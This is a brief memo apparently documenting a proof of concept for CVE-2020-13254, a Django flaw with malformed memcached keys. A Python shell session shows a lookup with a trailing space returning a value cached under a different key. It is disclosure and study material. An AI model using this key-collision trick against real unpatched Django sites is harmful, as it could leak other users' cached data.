【memo】PoC for CVE-2020-13254(Potential data leakage via malformed memcached keys)

PoC.md

See: https://www.djangoproject.com/weblog/2020/jun/03/security-releases/

>>> from django.core.cache import cache
>>> cache.set('my_key', 'hello, world!')
>>> cache.get('my_key')
'hello, world!'
>>> c = chr(33)
>>> c
'!'
>>> cache.get('my_key' + c)
>>> c = chr(32)
>>> c
' '
>>> cache.get('my_key' + c)  # should be None
'hello, world!'